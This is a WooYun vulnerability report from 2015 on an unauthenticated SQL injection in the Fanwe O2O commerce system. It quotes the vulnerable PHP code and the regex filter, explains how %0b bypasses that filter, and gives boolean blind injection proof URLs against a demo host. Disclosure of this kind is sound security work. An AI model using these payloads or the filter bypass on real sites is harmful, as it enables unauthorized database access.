当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122554

漏洞标题:方维O2O商业系统SQL注入3(demo验证)

相关厂商:fanwe.com

漏洞作者: story

提交时间:2015-06-25 11:57

修复时间:2015-09-28 11:59

公开时间:2015-09-28 11:59

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-25: 细节已通知厂商并且等待厂商处理中
2015-06-30: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-08-24: 细节向核心白帽子及相关领域专家公开
2015-09-03: 细节向普通白帽子公开
2015-09-13: 细节向实习白帽子公开
2015-09-28: 细节向公众公开

简要描述:

另一处SQL注入,布尔盲注,无需登录,附验证脚本demo验证。

详细说明:

/app/Lib/biz/ajaxModule.class.php

public function check_field_unique(){
$field_name = strim($_REQUEST['field_name']);
$field_data = strim($_REQUEST['field_data']);
$data = array();
$data['error'] = 0;
$data['msg'] = '';
$account_name = strim($_REQUEST['account_name']);
$result_data = $GLOBALS['db']->getOne("SELECT id FROM ".DB_PREFIX."supplier_submit WHERE ".$field_name."='".$field_data."'");
if($result_data>0){ //已经存在数据
$data['error'] = 1;
$data['msg'] = "数据已经存在!";
}
ajax_return($data);
}


可见$field_name(字段名)直接放SQL语句中,也没单引号包裹,造成注入。
另外,前面还有个坑,就是有个小小的WAF:

//过滤注入
function filter_injection(&$request)
{
$pattern = "/(select[\s])|(insert[\s])|(update[\s])|(delete[\s])|(from[\s])|(where[\s])/i";
foreach($request as $k=>$v)
{
if(preg_match($pattern,$k,$match))
{
die("SQL Injection denied!");
}

if(is_array($v))
{
filter_injection($v);
}
else
{

if(preg_match($pattern,$v,$match))
{
die("SQL Injection denied!");
}
}
}

}


\s用%0b绕过即可。

漏洞证明:

布尔盲注。
or 0 无结果:http://o2o.fanwe.net//biz.php?ctl=ajax&act=check_field_unique&field_name=0 or 0%23

QQ20150624-1@2x.png


or 1 有结果:http://o2o.fanwe.net//biz.php?ctl=ajax&act=check_field_unique&field_name=0 or 1%23

QQ20150624-2@2x.png


测试代码中给出exp。
exp截图:

QQ20150622-4@2x.png

修复方案:

过滤。

版权声明:转载请注明来源 story@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-09-28 11:59

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

2015-06-30:正在处理